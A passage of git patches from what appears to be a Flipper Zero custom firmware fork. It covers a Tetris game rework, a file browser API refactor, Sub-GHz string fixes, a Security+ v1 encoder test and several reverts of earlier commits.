tetris_game_remove_curr_piece(tetris_state); + + if(wasDownMove) { + if(tetris_game_piece_at_bottom(tetris_state, newPiece)) { + osTimerStop(tetris_state->timer); + + tetris_game_render_curr_piece(tetris_state); + uint8_t numLines = 0; + uint8_t lines[] = { 0,0,0,0 }; + + tetris_game_check_for_lines(tetris_state, lines, &numLines); + if(numLines > 0) { + for(int i = 0; i < numLines; i++) { + + // zero out row + for(int j = 0; j < FIELD_WIDTH; j++) { + tetris_state->playField[lines[i]][j] = false; + } + // move all above rows down + for(int k = lines[i]; k >= 0 ; k--) { + for(int m = 0; m < FIELD_WIDTH; m++) { + tetris_state->playField[k][m] = (k == 0) ? false : tetris_state->playField[k-1][m]; + } + } + } + + uint16_t oldNumLines = tetris_state->numLines; + tetris_state->numLines += numLines; + if((oldNumLines / 10) % 10 != (tetris_state->numLines / 10) % 10) { + tetris_state->fallSpeed -= 50; + } + } + + // Check for game over + Piece* spawnedPiece = &shapes[rand() % 7]; + if(!tetris_game_is_valid_pos(tetris_state, spawnedPiece->p)) { + tetris_state->gameState = GameStateGameOver; + } else { + memcpy(&tetris_state->currPiece, spawnedPiece, sizeof(tetris_state->currPiece)); + osTimerStart(tetris_state->timer, tetris_state->fallSpeed); + } + } + } + + if(tetris_game_is_valid_pos(tetris_state, newPiece->p)) { + memcpy(&tetris_state->currPiece, newPiece, sizeof(tetris_state->currPiece)); + } + + tetris_game_render_curr_piece(tetris_state); +} + + +int32_t tetris_game_app() { srand(DWT->CYCCNT); osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(TetrisEvent), NULL); TetrisState* tetris_state = malloc(sizeof(TetrisState)); - tetris_game_init_state(tetris_state); ValueMutex state_mutex; if(!init_mutex(&state_mutex, tetris_state, sizeof(TetrisState))) { @@ -284,43 +368,59 @@ int32_t tetris_game_app(void* p) { return 255; } + // Not doing this eventually causes issues with TimerSvc due to not sleeping/yielding enough in this task + TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); + TaskHandle_t curr_task = xTaskGetHandle("Tetris Game"); + + uint32_t origTimerPrio = uxTaskPriorityGet(timer_task); + uint32_t myPrio = uxTaskPriorityGet(curr_task); + vTaskPrioritySet(timer_task, myPrio + 1); + ViewPort* view_port = view_port_alloc(); view_port_set_orientation(view_port, ViewPortOrientationVertical); view_port_draw_callback_set(view_port, tetris_game_render_callback, &state_mutex); view_port_input_callback_set(view_port, tetris_game_input_callback, event_queue); - osTimerId_t timer = - osTimerNew(tetris_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); - osTimerStart(timer, 500U); - // Open GUI and register view_port Gui* gui = furi_record_open("gui"); gui_add_view_port(gui, view_port, GuiLayerFullscreen); + tetris_state->timer = osTimerNew(tetris_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); + tetris_game_init_state(tetris_state); + TetrisEvent event; - // Point *newShape = malloc(sizeof(Point) * 4); + Piece *newPiece = malloc(sizeof(Piece)); + uint8_t downRepeatCounter = 0; for(bool processing = true; processing;) { - osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + // This 10U implicitly sets the game loop speed. downRepeatCounter relies on this value + osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 10U); TetrisState* tetris_state = (TetrisState*)acquire_mutex_block(&state_mutex); memcpy(newPiece, &tetris_state->currPiece, sizeof(tetris_state->currPiece)); bool wasDownMove = false; + if(!furi_hal_gpio_read(&gpio_button_right)) { + if(downRepeatCounter > 3) { + for (int i = 0; i < 4; i++) { + newPiece->p[i].y += 1; + } + downRepeatCounter = 0; + wasDownMove = true; + } else { + downRepeatCounter++; + } + } + if(event_status == osOK) { if(event.type == EventTypeKey) { if(event.input.type == InputTypePress || event.input.type == InputTypeLong || event.input.type == InputTypeRepeat) { switch(event.input.key) { case InputKeyUp: - break; case InputKeyDown: - for (int i = 0; i < 4; i++) { - newPiece->p[i].y += 1; - } - wasDownMove = true; break; case InputKeyRight: for (int i = 0; i < 4; i++) { @@ -333,9 +433,13 @@ int32_t tetris_game_app(void* p) { } break; case InputKeyOk: - tetris_game_remove_curr_piece(tetris_state); - tetris_game_try_rotation(tetris_state, newPiece); - tetris_game_render_curr_piece(tetris_state); + if(tetris_state->gameState == GameStatePlaying) { + tetris_game_remove_curr_piece(tetris_state); + tetris_game_try_rotation(tetris_state, newPiece); + tetris_game_render_curr_piece(tetris_state); + } else { + tetris_game_init_state(tetris_state); + } break; case InputKeyBack: processing = false; @@ -354,52 +458,22 @@ int32_t tetris_game_app(void* p) { } } - tetris_game_remove_curr_piece(tetris_state); - - if(wasDownMove) { - if(tetris_game_piece_at_bottom(tetris_state, newPiece)) { - tetris_game_render_curr_piece(tetris_state); - uint8_t numLines = 0; - uint8_t lines[] = { 0,0,0,0 }; - - tetris_game_check_for_lines(tetris_state, lines, &numLines); - for(int i = 0; i < numLines; i++) { - - // zero/falsify out row - for(int j = 0; j < FIELD_WIDTH; j++) { - tetris_state->playField[lines[i]][j] = false; - } - // move all above rows down - for(int k = lines[i]; k >= 0 ; k--) { - for(int m = 0; m < FIELD_WIDTH; m++) { - tetris_state->playField[k][m] = (k == 0) ? false : tetris_state->playField[k-1][m]; - } - } - } - - memcpy(&tetris_state->currPiece, &shapes[rand() % 7], sizeof(tetris_state->currPiece)); - } - } - - if(tetris_game_is_valid_pos(tetris_state, newPiece->p)) { - memcpy(&tetris_state->currPiece, newPiece, sizeof(tetris_state->currPiece)); - } - - tetris_game_render_curr_piece(tetris_state); + tetris_game_process_step(tetris_state, newPiece, wasDownMove); view_port_update(view_port); release_mutex(&state_mutex, tetris_state); } - osTimerDelete(timer); + osTimerDelete(tetris_state->timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close("gui"); view_port_free(view_port); osMessageQueueDelete(event_queue); delete_mutex(&state_mutex); + vTaskPrioritySet(timer_task, origTimerPrio); free(newPiece); free(tetris_state); return 0; -} \ No newline at end of file +} From 6995dd6b13f4af5a1792351ec4d39bb6fc9cc2da Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 16:30:54 +0300 Subject: [PATCH 218/461] update file browser --- .../file_browser_test/file_browser_app.c | 2 +- .../scenes/file_browser_scene_browser.c | 4 +--- applications/gui/modules/file_browser.c | 16 ++++++++------- applications/gui/modules/file_browser.h | 6 +++--- .../gui/modules/file_browser_worker.c | 20 ++++--------------- .../gui/modules/file_browser_worker.h | 4 +--- 6 files changed, 19 insertions(+), 33 deletions(-) diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c index a408f5cde..c9b63ecb0 100644 --- a/applications/debug_tools/file_browser_test/file_browser_app.c +++ b/applications/debug_tools/file_browser_test/file_browser_app.c @@ -48,7 +48,7 @@ FileBrowserApp* file_browser_app_alloc(char* arg) { app->widget = widget_alloc(); string_init(app->file_path); - app->file_browser = file_browser_alloc(&(app->file_path)); + app->file_browser = file_browser_alloc(app->file_path); file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); view_dispatcher_add_view( diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c index 9c570cec0..ca16ad0d1 100644 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c @@ -20,12 +20,10 @@ bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) return consumed; } -static void file_browser_callback(void* context, bool state) { +static void file_browser_callback(void* context) { FileBrowserApp* app = context; furi_assert(app); view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); - - UNUSED(state); } void file_browser_scene_browser_on_enter(void* context) { diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c index 919750962..1cef1d079 100644 --- a/applications/gui/modules/file_browser.c +++ b/applications/gui/modules/file_browser.c @@ -10,6 +10,7 @@ #include #include #include +#include "toolbox/path.h" #define LIST_ITEMS 5u #define MAX_LEN_PX 110 @@ -60,13 +61,13 @@ ARRAY_DEF( struct FileBrowser { View* view; BrowserWorker* worker; - char* ext_filter; + const char* ext_filter; bool skip_assets; FileBrowserCallback callback; void* context; - string_t* result_path; + string_ptr result_path; }; typedef struct { @@ -100,7 +101,7 @@ static void browser_list_load_cb(void* context, uint32_t list_load_offset); static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); static void browser_long_load_cb(void* context); -FileBrowser* file_browser_alloc(string_t* result_path) { +FileBrowser* file_browser_alloc(string_ptr result_path) { furi_assert(result_path); FileBrowser* browser = malloc(sizeof(FileBrowser)); browser->view = view_alloc(); @@ -140,7 +141,7 @@ View* file_browser_get_view(FileBrowser* browser) { void file_browser_configure( FileBrowser* browser, - char* extension, + const char* extension, bool skip_assets, const Icon* file_icon, bool hide_ext) { @@ -250,6 +251,7 @@ static void with_view_model( browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); if(is_root) { model->item_cnt = item_cnt; model->item_idx = (file_idx > 0) ? file_idx : 0; @@ -383,7 +385,7 @@ static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { BrowserItem_t* item = items_array_get( model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); item_type = item->type; - file_browser_worker_get_filename( + path_extract_filename( item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); } else { string_set_str(filename, "---"); @@ -505,9 +507,9 @@ static bool file_browser_view_input_callback(InputEvent* event, void* context) { file_browser_worker_folder_enter( browser->worker, selected_item->path, select_index); } else if(selected_item->type == BrowserItemTypeFile) { - string_set(*(browser->result_path), selected_item->path); + string_set(browser->result_path, selected_item->path); if(browser->callback) { - browser->callback(browser->context, true); + browser->callback(browser->context); } } } diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h index b77c6e65c..ebc64509a 100644 --- a/applications/gui/modules/file_browser.h +++ b/applications/gui/modules/file_browser.h @@ -13,9 +13,9 @@ extern "C" { #endif typedef struct FileBrowser FileBrowser; -typedef void (*FileBrowserCallback)(void* context, bool state); +typedef void (*FileBrowserCallback)(void* context); -FileBrowser* file_browser_alloc(string_t* result_path); +FileBrowser* file_browser_alloc(string_ptr result_path); void file_browser_free(FileBrowser* browser); @@ -23,7 +23,7 @@ View* file_browser_get_view(FileBrowser* browser); void file_browser_configure( FileBrowser* browser, - char* extension, + const char* extension, bool skip_assets, const Icon* file_icon, bool hide_ext); diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c index 13fc97111..93baba008 100644 --- a/applications/gui/modules/file_browser_worker.c +++ b/applications/gui/modules/file_browser_worker.c @@ -8,6 +8,7 @@ #include #include #include +#include "toolbox/path.h" #define TAG "BrowserWorker" @@ -149,6 +150,7 @@ static bool browser_folder_init( (*item_cnt)++; } if(total_files_cnt == LONG_LOAD_THRESHOLD) { + // There are too many files in folder and counting them will take some time - send callback to app if(browser->long_load_cb) { browser->long_load_cb(browser->cb_ctx); } @@ -255,7 +257,7 @@ static int32_t browser_worker(void* context) { string_t filename; string_init(filename); if(browser_path_is_file(browser->path_next)) { - file_browser_worker_get_filename(browser->path_next, filename, false); + path_extract_filename(browser->path_next, filename, false); } osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); @@ -319,21 +321,7 @@ static int32_t browser_worker(void* context) { return 0; } -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { - size_t filename_start = string_search_rchar(path, '/'); - if(filename_start > 0) { - filename_start++; - string_set_n(name, path, filename_start, string_size(path) - filename_start); - } - if(trim_ext) { - size_t dot = string_search_rchar(name, '.'); - if(dot > 0) { - string_left(name, dot); - } - } -} - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { +BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets) { BrowserWorker* browser = malloc(sizeof(BrowserWorker)); idx_last_array_init(browser->idx_last); diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h index 821d5103f..b0d360a38 100644 --- a/applications/gui/modules/file_browser_worker.h +++ b/applications/gui/modules/file_browser_worker.h @@ -22,9 +22,7 @@ typedef void (*BrowserWorkerListItemCallback)( bool is_last); typedef void (*BrowserWorkerLongLoadCallback)(void* context); -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); +BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets); void file_browser_worker_free(BrowserWorker* browser); From 49635f72959440de7665246d77b97bc2e73a6199 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 16:33:39 +0300 Subject: [PATCH 219/461] Update subghz_scene_set_type.c --- applications/subghz/scenes/subghz_scene_set_type.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 63d340780..cc2cacb77 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -49,7 +49,7 @@ bool subghz_scene_set_type_submenu_gen_data_protocol( subghz_receiver_search_decoder_base_by_name(subghz->txrx->receiver, protocol_name); if(subghz->txrx->decoder_result == NULL) { - string_set(subghz->error_str, "Protocol not found"); + string_set_str(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return false; } @@ -340,7 +340,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set( + string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } @@ -364,7 +364,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set( + string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } From c22870398e112fd4023b06bca5338c1e4943e89e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 16:39:00 +0300 Subject: [PATCH 220/461] upd icons --- assets/compiled/assets_icons.c | 4 ++++ assets/compiled/assets_icons.h | 1 + 2 files changed, 5 insertions(+) diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index e513b061a..e2ac18adc 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -61,6 +61,9 @@ const uint8_t* const _I_ir_10px[] = {_I_ir_10px_0}; const uint8_t _I_loading_10px_0[] = {0x00,0xFE,0x00,0x82,0x00,0xBA,0x00,0x54,0x00,0x28,0x00,0x28,0x00,0x44,0x00,0x92,0x00,0xBA,0x00,0xFE,0x00,}; const uint8_t* const _I_loading_10px[] = {_I_loading_10px_0}; +const uint8_t _I_music_10px_0[] = {0x01,0x00,0x10,0x00,0xf0,0x00,0x46,0x03,0x20,0x80,0x00,0x4e,0x7d,0x00,0x9f,0x80,0x4a,0x3c,0x13,0x20,}; +const uint8_t* const _I_music_10px[] = {_I_music_10px_0}; + const uint8_t _I_sub1_10px_0[] = {0x01,0x00,0x12,0x00,0x81,0x40,0x69,0x30,0x2c,0x2c,0x0b,0x6a,0x01,0x28,0x0c,0x0a,0x65,0x01,0x98,0x40,0x00,0x26,}; const uint8_t* const _I_sub1_10px[] = {_I_sub1_10px_0}; @@ -710,6 +713,7 @@ const Icon I_dir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.fram const Icon I_ibutt_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ibutt_10px}; const Icon I_ir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ir_10px}; const Icon I_loading_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_loading_10px}; +const Icon I_music_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_music_10px}; const Icon I_sub1_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_sub1_10px}; const Icon I_u2f_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_u2f_10px}; const Icon I_unknown_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_unknown_10px}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index e4184750f..27e6eaed1 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -14,6 +14,7 @@ extern const Icon I_dir_10px; extern const Icon I_ibutt_10px; extern const Icon I_ir_10px; extern const Icon I_loading_10px; +extern const Icon I_music_10px; extern const Icon I_sub1_10px; extern const Icon I_u2f_10px; extern const Icon I_unknown_10px; From 483f897dc8416b44914fe34ac16f09f83d4f20e2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 16:43:51 +0300 Subject: [PATCH 221/461] Update subghz_scene_set_type.c --- applications/subghz/scenes/subghz_scene_set_type.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index cc2cacb77..25ae1b362 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -373,7 +373,6 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { while(!subghz_protocol_secplus_v1_check_fixed(key)) { key = subghz_random_serial(); } - if(subghz_scene_set_type_submenu_gen_data_protocol( subghz, SUBGHZ_PROTOCOL_SECPLUS_V1_NAME, @@ -388,7 +387,6 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { while(!subghz_protocol_secplus_v1_check_fixed(key)) { key = subghz_random_serial(); } - if(subghz_scene_set_type_submenu_gen_data_protocol( subghz, SUBGHZ_PROTOCOL_SECPLUS_V1_NAME, @@ -453,17 +451,16 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); break; - default: return false; break; } + scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneSetType, event.event); + if(generated_protocol) { subghz_file_name_clear(subghz); DOLPHIN_DEED(DolphinDeedSubGhzAddManually); - scene_manager_set_scene_state( - subghz->scene_manager, SubGhzSceneSetType, SubGhzCustomEventManagerSet); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); return true; } From 580fe77fb7a073d517b71ff5080d73cd562b3a86 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 16:48:04 +0300 Subject: [PATCH 222/461] Update subghz_test.c --- applications/unit_tests/subghz/subghz_test.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/applications/unit_tests/subghz/subghz_test.c b/applications/unit_tests/subghz/subghz_test.c index 395b81b24..9e5b65990 100644 --- a/applications/unit_tests/subghz/subghz_test.c +++ b/applications/unit_tests/subghz/subghz_test.c @@ -416,6 +416,12 @@ MU_TEST(subghz_encoder_holtek_test) { "Test encoder " SUBGHZ_PROTOCOL_HOLTEK_NAME " error\r\n"); } +MU_TEST(subghz_encoder_secplus_v1_test) { + mu_assert( + subghz_encoder_test("/ext/unit_tests/subghz/security_pls_1_0.sub"), + "Test encoder " SUBGHZ_PROTOCOL_SECPLUS_V1_NAME " error\r\n"); +} + MU_TEST(subghz_encoder_secplus_v2_test) { mu_assert( subghz_encoder_test("/ext/unit_tests/subghz/security_pls_2_0.sub"), @@ -463,6 +469,7 @@ MU_TEST_SUITE(subghz) { MU_RUN_TEST(subghz_encoder_firefly_test); MU_RUN_TEST(subghz_encoder_megacode_test); MU_RUN_TEST(subghz_encoder_holtek_test); + MU_RUN_TEST(subghz_encoder_secplus_v1_test); MU_RUN_TEST(subghz_encoder_secplus_v2_test); MU_RUN_TEST(subghz_random_test); From 6171069802f00312eb75460833220aebbfb262c3 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:03:14 +0300 Subject: [PATCH 223/461] Update subghz_scene_read_raw.c fix compiling errors --- applications/subghz/scenes/subghz_scene_read_raw.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 628a5f1f0..d7f04306b 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -25,7 +25,7 @@ bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { break; } - string_set(subghz->file_path, temp_str); + string_set_str(subghz->file_path, temp_str); ret = true; } while(false); @@ -171,7 +171,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { case SubGhzCustomEventViewReadRAWErase: subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; if(subghz_scene_read_raw_update_filename(subghz)) { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + string_set_str(subghz->file_path, subghz->file_path_tmp); subghz_delete_file(subghz); } notification_message(subghz->notifications, &sequence_reset_rgb); From a301db68b3412e057cced4cb9634bd6efeaaa7bb Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:07:41 +0300 Subject: [PATCH 224/461] Update subghz_scene_read_raw.c fix errors --- applications/subghz/scenes/subghz_scene_read_raw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index d7f04306b..909fd96e2 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -25,7 +25,7 @@ bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { break; } - string_set_str(subghz->file_path, temp_str); + string_set_str(subghz->file_path, subghz->file_path_tmp); ret = true; } while(false); From 72f7b14cb360767d8f68014eab5bd95ca79c0f54 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:14:20 +0300 Subject: [PATCH 225/461] Revert "Update subghz_scene_read_raw.c" This reverts commit a301db68b3412e057cced4cb9634bd6efeaaa7bb. --- applications/subghz/scenes/subghz_scene_read_raw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 909fd96e2..d7f04306b 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -25,7 +25,7 @@ bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { break; } - string_set_str(subghz->file_path, subghz->file_path_tmp); + string_set_str(subghz->file_path, temp_str); ret = true; } while(false); From 676c8433697b494a92229e6910c792a4223873bd Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:14:32 +0300 Subject: [PATCH 226/461] Revert "Update subghz_scene_read_raw.c" This reverts commit 6171069802f00312eb75460833220aebbfb262c3. --- applications/subghz/scenes/subghz_scene_read_raw.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index d7f04306b..628a5f1f0 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -25,7 +25,7 @@ bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { break; } - string_set_str(subghz->file_path, temp_str); + string_set(subghz->file_path, temp_str); ret = true; } while(false); @@ -171,7 +171,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { case SubGhzCustomEventViewReadRAWErase: subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; if(subghz_scene_read_raw_update_filename(subghz)) { - string_set_str(subghz->file_path, subghz->file_path_tmp); + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); subghz_delete_file(subghz); } notification_message(subghz->notifications, &sequence_reset_rgb); From cf714d3e665c27a550c787a1eaeacecbd47a0415 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:14:43 +0300 Subject: [PATCH 227/461] Revert "Fetch upstream dev changes" This reverts commit 6e88e33171602ab72c27e0aaf801a17b2cbb9b12, reversing changes made to 580fe77fb7a073d517b71ff5080d73cd562b3a86. --- applications/applications.c | 8 + applications/bad_usb/bad_usb_app.c | 37 +- applications/bad_usb/bad_usb_app_i.h | 3 +- .../scenes/bad_usb_scene_file_select.c | 14 +- .../bad_usb/scenes/bad_usb_scene_work.c | 9 +- applications/bad_usb/views/bad_usb_view.c | 8 +- applications/bad_usb/views/bad_usb_view.h | 2 +- applications/dialogs/dialogs.c | 7 +- applications/dialogs/dialogs.h | 25 +- applications/dialogs/dialogs_api.c | 29 +- applications/dialogs/dialogs_message.h | 16 +- .../dialogs/dialogs_module_file_browser.c | 59 --- .../dialogs/dialogs_module_file_select.c | 59 +++ ...browser.h => dialogs_module_file_select.h} | 2 +- applications/gui/modules/file_select.c | 475 ++++++++++++++++++ applications/gui/modules/file_select.h | 31 ++ applications/gui/modules/validators.c | 5 +- applications/ibutton/ibutton.c | 91 ++-- applications/ibutton/ibutton_i.h | 3 +- .../ibutton/scenes/ibutton_scene_add_type.c | 3 +- .../scenes/ibutton_scene_delete_confirm.c | 9 +- .../ibutton/scenes/ibutton_scene_emulate.c | 14 +- .../ibutton/scenes/ibutton_scene_info.c | 9 +- .../ibutton/scenes/ibutton_scene_read.c | 2 +- .../ibutton/scenes/ibutton_scene_save_name.c | 24 +- .../ibutton/scenes/ibutton_scene_start.c | 1 - .../ibutton/scenes/ibutton_scene_write.c | 15 +- applications/infrared/infrared_app.cpp | 17 +- applications/infrared/infrared_app.h | 2 - .../infrared/infrared_app_remote_manager.cpp | 130 ++--- .../infrared/infrared_app_remote_manager.h | 27 +- .../scene/infrared_app_scene_edit_rename.cpp | 13 +- .../scene/infrared_app_scene_remote_list.cpp | 19 +- .../scene/infrared_app_scene_start.cpp | 2 - applications/lfrfid/lfrfid_app.cpp | 64 ++- applications/lfrfid/lfrfid_app.h | 7 +- .../scene/lfrfid_app_scene_save_name.cpp | 12 +- applications/music_player/music_player.c | 20 +- applications/nfc/nfc_device.c | 116 ++--- applications/nfc/nfc_device.h | 7 +- applications/nfc/scenes/nfc_scene_delete.c | 2 +- applications/nfc/scenes/nfc_scene_save_name.c | 19 +- .../nfc/scenes/nfc_scene_save_success.c | 3 + .../nfc/scenes/nfc_scene_saved_menu.c | 2 +- applications/nfc/scenes/nfc_scene_set_type.c | 2 - .../scene/scened_app_scene_byte_input.cpp | 35 ++ .../scene/scened_app_scene_byte_input.h | 19 + .../scene/scened_app_scene_start.cpp | 47 ++ .../scene/scened_app_scene_start.h | 13 + .../scened_app_example/scened_app.cpp | 20 + applications/scened_app_example/scened_app.h | 47 ++ .../scened_app_launcher.cpp | 11 + .../subghz/scenes/subghz_scene_delete.c | 2 +- .../subghz/scenes/subghz_scene_delete_raw.c | 4 +- .../subghz/scenes/subghz_scene_more_raw.c | 2 +- .../subghz/scenes/subghz_scene_read_raw.c | 8 +- .../subghz/scenes/subghz_scene_save_name.c | 52 +- .../subghz/scenes/subghz_scene_transmitter.c | 2 +- applications/subghz/subghz.c | 16 +- applications/subghz/subghz_cli.c | 2 +- applications/subghz/subghz_history.c | 4 +- applications/subghz/subghz_i.c | 52 +- applications/subghz/subghz_i.h | 10 +- applications/subghz/views/receiver.c | 6 +- applications/subghz/views/subghz_read_raw.c | 16 +- applications/subghz/views/transmitter.c | 6 +- assets/icons/Archive/music_10px.png | Bin 142 -> 0 bytes lib/one_wire/ibutton/ibutton_key.c | 9 + lib/one_wire/ibutton/ibutton_key.h | 14 + lib/toolbox/path.c | 14 - lib/toolbox/path.h | 9 - 71 files changed, 1204 insertions(+), 640 deletions(-) delete mode 100644 applications/dialogs/dialogs_module_file_browser.c create mode 100644 applications/dialogs/dialogs_module_file_select.c rename applications/dialogs/{dialogs_module_file_browser.h => dialogs_module_file_select.h} (54%) create mode 100644 applications/gui/modules/file_select.c create mode 100644 applications/gui/modules/file_select.h create mode 100644 applications/scened_app_example/scene/scened_app_scene_byte_input.cpp create mode 100644 applications/scened_app_example/scene/scened_app_scene_byte_input.h create mode 100644 applications/scened_app_example/scene/scened_app_scene_start.cpp create mode 100644 applications/scened_app_example/scene/scened_app_scene_start.h create mode 100644 applications/scened_app_example/scened_app.cpp create mode 100644 applications/scened_app_example/scened_app.h create mode 100644 applications/scened_app_example/scened_app_launcher.cpp delete mode 100644 assets/icons/Archive/music_10px.png diff --git a/applications/applications.c b/applications/applications.c index 71fb513bd..c932f86ce 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -440,6 +440,14 @@ const FlipperApplication FLIPPER_DEBUG_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_SCENED + {.app = scened_app, + .name = "Templated Scene", + .stack_size = 1024, + .icon = NULL, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_LF_RFID {.app = lfrfid_debug_app, .name = "LF-RFID Debug", diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index 65ccc575b..eb647e004 100644 --- a/applications/bad_usb/bad_usb_app.c +++ 